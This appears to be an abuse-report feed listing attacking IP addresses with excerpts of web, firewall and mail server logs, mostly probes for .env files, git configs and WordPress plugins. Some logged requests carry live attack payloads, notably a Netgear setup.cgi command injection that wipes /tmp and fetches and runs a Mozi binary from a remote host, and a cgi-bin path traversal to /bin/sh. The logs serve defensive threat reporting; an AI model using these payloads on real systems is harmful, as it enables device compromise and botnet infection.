🇳🇱
178.16.54.137
1 hour ago
178.16.54.137 - [12/Jul/2026:18:17:56 +0200] "GET /.env HTTP/2.0" 403 548 "-" "Mozilla/5.0 (Macintos ...
show more
178.16.54.137 - [12/Jul/2026:18:17:56 +0200] "GET /.env HTTP/2.0" 403 548 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36" Connecting ip: 178.16.54.137 Forwared for: 178.16.54.137
178.16.54.137 - [12/Jul/2026:18:17:56 +0200] "GET /.git/HEAD HTTP/2.0" 403 548 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36" Connecting ip: 178.16.54.137 Forwared for: 178.16.54.137
178.16.54.137 - [12/Jul/2026:18:17:56 +0200] "GET /.env.backup HTTP/2.0" 403 548 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36" Connecting ip: 178.16.54.137 Forwared for: 178.16.54.137
...
show less
Web App Attack
🇺🇸
66.132.195.96
1 hour ago
66.132.195.96 - - [12/Jul/2026:18:09:02 +0200] "PRI * HTTP/2.0" 400 150 "-" "-"
...
Web App Attack
🇯🇵
8.216.2.9
2 hours ago
8.216.2.9 - - [12/Jul/2026:17:17:36 +0200] "GET / HTTP/1.1" 200 58 "-" "curl/7.64.1"
...
Web App Attack
🇺🇸
130.211.196.110
2 hours ago
130.211.196.110 - - [12/Jul/2026:17:15:15 +0200] "" 400 0 "-" "-"
...
Web App Attack
🇳🇱
45.153.34.89
3 hours ago
Jul 12 16:05:00 balder kernel: LIMIT DROP IN=eth0 OUT= MAC=00:50:56:be:d4:61:00:11:5d:b6:44:00:08:00 ...
show more
Jul 12 16:05:00 balder kernel: LIMIT DROP IN=eth0 OUT= MAC=00:50:56:be:d4:61:00:11:5d:b6:44:00:08:00 SRC=45.153.34.89 DST=94.177.250.148 LEN=40 TOS=0x00 PREC=0x00 TTL=56 ID=970 DF PROTO=TCP SPT=30432 DPT=8014 WINDOW=64240 RES=0x00 SYN URGP=0
Jul 12 16:05:00 balder kernel: LIMIT DROP IN=eth0 OUT= MAC=00:50:56:be:d4:61:00:11:5d:b6:44:00:08:00 SRC=45.153.34.89 DST=94.177.250.148 LEN=40 TOS=0x00 PREC=0x00 TTL=56 ID=1048 DF PROTO=TCP SPT=30512 DPT=8026 WINDOW=64240 RES=0x00 SYN URGP=0
Jul 12 16:05:00 balder kernel: LIMIT DROP IN=eth0 OUT= MAC=00:50:56:be:d4:61:00:11:5d:b6:44:00:08:00 SRC=45.153.34.89 DST=94.177.250.148 LEN=40 TOS=0x00 PREC=0x00 TTL=56 ID=996 DF PROTO=TCP SPT=30459 DPT=8017 WINDOW=64240 RES=0x00 SYN URGP=0
Jul 12 16:05:00 balder kernel: LIMIT DROP IN=eth0 OUT= MAC=00:50:56:be:d4:61:00:11:5d:b6:44:00:08:00 SRC=45.153.34.89 DST=94.177.250.148 LEN=40 TOS=0x00 PREC=0x00 TTL=56 ID=1003 DF PROTO=TCP SPT=30468 DPT=8018 WINDOW=64240 RES=0x00 SYN URGP=0
Jul 12 16:05:00 balder ker
...
show less
DDoS Attack
🇭🇰
199.45.154.145
4 hours ago
199.45.154.145 - - [12/Jul/2026:15:38:13 +0200] "PRI * HTTP/2.0" 400 150 "-" "-"
...
Web App Attack
🇺🇸
69.12.64.58
4 hours ago
69.12.64.58 - - [12/Jul/2026:15:34:45 +0200] "GET /api/env HTTP/1.1" 404 22 "-" "Mozilla/5.0 AppleWe ...
show more
69.12.64.58 - - [12/Jul/2026:15:34:45 +0200] "GET /api/env HTTP/1.1" 404 22 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"
69.12.64.58 - - [12/Jul/2026:15:34:45 +0200] "GET /.env HTTP/1.1" 404 22 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)"
69.12.64.58 - - [12/Jul/2026:15:34:45 +0200] "GET /.env.local HTTP/1.1" 404 22 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)"
...
show less
Web App Attack
🇧🇷
20.195.178.90
5 hours ago
20.195.178.90 - - [12/Jul/2026:14:16:32 +0200] "GET /wp-content/plugins/hellopress/wp_filemanager.ph ...
show more
20.195.178.90 - - [12/Jul/2026:14:16:32 +0200] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/2.0" 404 22 "-" "-"
20.195.178.90 - - [12/Jul/2026:14:16:32 +0200] "GET /this_is_a_new_hello_world.php HTTP/2.0" 404 22 "-" "-"
20.195.178.90 - - [12/Jul/2026:14:16:33 +0200] "GET /wp-access.php HTTP/2.0" 404 22 "-" "-"
...
show less
Web App Attack
🇫🇷
167.86.66.204
6 hours ago
167.86.66.204 - - [12/Jul/2026:13:57:01 +0200] "GET /wp-admin/css/ HTTP/2.0" 404 22 "-" "Mozilla/5.0 ...
show more
167.86.66.204 - - [12/Jul/2026:13:57:01 +0200] "GET /wp-admin/css/ HTTP/2.0" 404 22 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
167.86.66.204 - - [12/Jul/2026:13:57:04 +0200] "GET /wp-admin/css/colors/ HTTP/2.0" 404 22 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
167.86.66.204 - - [12/Jul/2026:13:57:05 +0200] "GET /wp-admin/css/colors/blue/ HTTP/2.0" 404 22 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
...
show less
Web App Attack
🇫🇷
38.242.229.245
6 hours ago
38.242.229.245 - - [12/Jul/2026:13:25:14 +0200] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.% ...
show more
38.242.229.245 - - [12/Jul/2026:13:25:14 +0200] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 150 "-" "-"
...
show less
Web App Attack
🇵🇰
139.135.44.115
6 hours ago
139.135.44.115 - - [12/Jul/2026:13:10:21 +0200] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cm ...
show more
139.135.44.115 - - [12/Jul/2026:13:10:21 +0200] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://139.135.44.115:49885/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 301 162 "-" "-"
...
show less
Web App Attack
🇮🇪
34.245.134.141
7 hours ago
34.245.134.141 - [12/Jul/2026:12:23:28 +0200] "GET /.git/config HTTP/2.0" 403 548 "-" "Mozilla/5.0 ( ...
show more
34.245.134.141 - [12/Jul/2026:12:23:28 +0200] "GET /.git/config HTTP/2.0" 403 548 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" Connecting ip: 34.245.134.141 Forwared for: 34.245.134.141
34.245.134.141 - [12/Jul/2026:12:23:28 +0200] "GET /.env HTTP/2.0" 403 548 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" Connecting ip: 34.245.134.141 Forwared for: 34.245.134.141
...
show less
Web App Attack
🇺🇸
20.121.139.67
7 hours ago
20.121.139.67 - - [12/Jul/2026:12:14:54 +0200] "MGLNDD_94.177.250.148_80" 400 150 "-" "-"
...
Web App Attack
🇳🇱
185.213.175.171
7 hours ago
185.213.175.171 - - [12/Jul/2026:12:12:46 +0200] "\x16\x03\x01\x02\x00\x01\x00\x01\xFC\x03\x03.e,>\x ...
show more
185.213.175.171 - - [12/Jul/2026:12:12:46 +0200] "\x16\x03\x01\x02\x00\x01\x00\x01\xFC\x03\x03.e,>\x9F\x22\xB5\x022\x05\xE0\x82L6\xFB\xAA\xE4,iU[\xB9gs\xC7\x04\xF7\x02W\xD9\xCB\x84 \x11t%o/RNA'\xDA\x016^u\x01\xE3x\xE2\x1F7\xA9\xF2Ut1\xD4\x07\x91\xC7\xB6\xBA\xE6\x00$\x13\x02\x13\x03\x13\x01\xC0,\xC00\xC0+\xC0/\xCC\xA9\xCC\xA8\xC0$\xC0(\xC0#\xC0'\x00\x9F\x00\x9E\x00k\x00g\x00\xFF\x01\x00\x01\x8F\x00\x0B\x00\x04\x03\x00\x01\x02\x00" 400 150 "-" "-"
...
show less
Web App Attack
🇺🇸
162.216.149.208
8 hours ago
162.216.149.208 - - [12/Jul/2026:11:26:37 +0200] "GET / HTTP/1.1" 200 58 "-" "curl/7.68.0"
...
Web App Attack
🇳🇱
91.92.42.80
8 hours ago
91.92.42.80 - - [12/Jul/2026:11:10:52 +0200] "CONNECT wingthor.net:443 HTTP/1.1" 400 150 "-" "-"
...
Web App Attack
🇺🇸
45.156.129.80
9 hours ago
45.156.129.80 - - [12/Jul/2026:10:57:58 +0200] "POST /mcp HTTP/2.0" 404 22 "-" "python-httpx/0.28.1" ...
show more
45.156.129.80 - - [12/Jul/2026:10:57:58 +0200] "POST /mcp HTTP/2.0" 404 22 "-" "python-httpx/0.28.1"
45.156.129.80 - - [12/Jul/2026:10:57:58 +0200] "GET /sse HTTP/2.0" 404 22 "-" "python-httpx/0.28.1"
45.156.129.80 - - [12/Jul/2026:10:57:58 +0200] "GET /favicon.ico HTTP/1.1" 404 22 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36"
...
show less
Web App Attack
🇺🇸
146.190.134.221
10 hours ago
146.190.134.221 - - [12/Jul/2026:09:39:32 +0200] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 (Windows ...
show more
146.190.134.221 - - [12/Jul/2026:09:39:32 +0200] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/70.0"
...
show less
Web App Attack
🇱🇹
141.98.9.49
10 hours ago
2026-07-12T09:08:38.889532+02:00 mx postfix/dnsblog[892220]: addr 141.98.9.49 listed by domain zen.s ...
show more
2026-07-12T09:08:38.889532+02:00 mx postfix/dnsblog[892220]: addr 141.98.9.49 listed by domain zen.spamhaus.org as 127.0.0.11
2026-07-12T09:08:38.889655+02:00 mx postfix/dnsblog[892220]: addr 141.98.9.49 listed by domain zen.spamhaus.org as 127.0.0.2
2026-07-12T09:08:38.889744+02:00 mx postfix/dnsblog[892220]: addr 141.98.9.49 listed by domain zen.spamhaus.org as 127.0.0.3
...
show less
Email Spam
🇺🇸
2604:a880:400:d1:0:4:78fc:d001
10 hours ago
2604:a880:400:d1:0:4:78fc:d001 - [12/Jul/2026:09:04:11 +0200] "GET /components/com_baforms/baforms.p ...
show more
2604:a880:400:d1:0:4:78fc:d001 - [12/Jul/2026:09:04:11 +0200] "GET /components/com_baforms/baforms.php HTTP/2.0" 404 36 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
2604:a880:400:d1:0:4:78fc:d001 - [12/Jul/2026:09:04:11 +0200] "GET /components/com_baforms/baforms.php HTTP/2.0" 404 36 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Safari/605.1.15"
2604:a880:400:d1:0:4:78fc:d001 - [12/Jul/2026:09:04:11 +0200] "GET /administrator/components/com_baforms/baforms.xml HTTP/2.0" 404 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
...
show less
Web App Attack
🇧🇪
35.195.182.113
12 hours ago
2026-07-12T08:00:49.270540+02:00 mx postfix/dnsblog[880553]: addr 35.195.182.113 listed by domain ze ...
show more
2026-07-12T08:00:49.270540+02:00 mx postfix/dnsblog[880553]: addr 35.195.182.113 listed by domain zen.spamhaus.org as 127.0.0.4
2026-07-12T08:00:49.270902+02:00 mx postfix/dnsblog[880555]: addr 35.195.182.113 listed by domain zen.spamhaus.org as 127.0.0.4
2026-07-12T08:00:49.324973+02:00 mx postfix/dnsblog[880555]: addr 35.195.182.113 listed by domain zen.spamhaus.org as 127.0.0.4
...
show less
Email Spam
🇧🇪
104.155.55.27
12 hours ago
2026-07-12T07:13:27.941644+02:00 mx postfix/dnsblog[872583]: addr 104.155.55.27 listed by domain zen ...
show more
2026-07-12T07:13:27.941644+02:00 mx postfix/dnsblog[872583]: addr 104.155.55.27 listed by domain zen.spamhaus.org as 127.0.0.4
2026-07-12T07:13:27.990410+02:00 mx postfix/dnsblog[872583]: addr 104.155.55.27 listed by domain zen.spamhaus.org as 127.0.0.4
2026-07-12T07:13:28.059440+02:00 mx postfix/dnsblog[872585]: addr 104.155.55.27 listed by domain zen.spamhaus.org as 127.0.0.4
...
show less
Email Spam
🇧🇪
104.155.8.76
13 hours ago
2026-07-12T06:37:49.198461+02:00 mx postfix/dnsblog[865942]: addr 104.155.8.76 listed by domain zen. ...
show more
2026-07-12T06:37:49.198461+02:00 mx postfix/dnsblog[865942]: addr 104.155.8.76 listed by domain zen.spamhaus.org as 127.0.0.4
2026-07-12T06:37:49.217751+02:00 mx postfix/dnsblog[865942]: addr 104.155.8.76 listed by domain zen.spamhaus.org as 127.0.0.4
2026-07-12T06:37:49.286087+02:00 mx postfix/dnsblog[865945]: addr 104.155.8.76 listed by domain zen.spamhaus.org as 127.0.0.4
...
show less
Email Spam
🇸🇬
94.231.206.1
14 hours ago
2026-07-12T05:37:20.167284+02:00 mx postfix/dnsblog[855135]: addr 94.231.206.1 listed by domain zen. ...
show more
2026-07-12T05:37:20.167284+02:00 mx postfix/dnsblog[855135]: addr 94.231.206.1 listed by domain zen.spamhaus.org as 127.0.0.4
2026-07-12T05:37:20.167413+02:00 mx postfix/dnsblog[855135]: addr 94.231.206.1 listed by domain zen.spamhaus.org as 127.0.0.3
2026-07-12T05:37:20.167550+02:00 mx postfix/dnsblog[855135]: addr 94.231.206.1 listed by domain zen.spamhaus.org as 127.0.0.11
...
show less
Email Spam
🇧🇪
34.53.133.164
15 hours ago
34.53.133.164 - - [12/Jul/2026:04:52:21 +0200] "\x16\x03\x00\x00i\x01\x00\x00e\x03\x03U\x1C\xA7\xE4r ...
show more
34.53.133.164 - - [12/Jul/2026:04:52:21 +0200] "\x16\x03\x00\x00i\x01\x00\x00e\x03\x03U\x1C\xA7\xE4random1random2random3random4\x00\x00\x0C\x00/\x00" 400 150 "-" "-"
...
show less
Web App Attack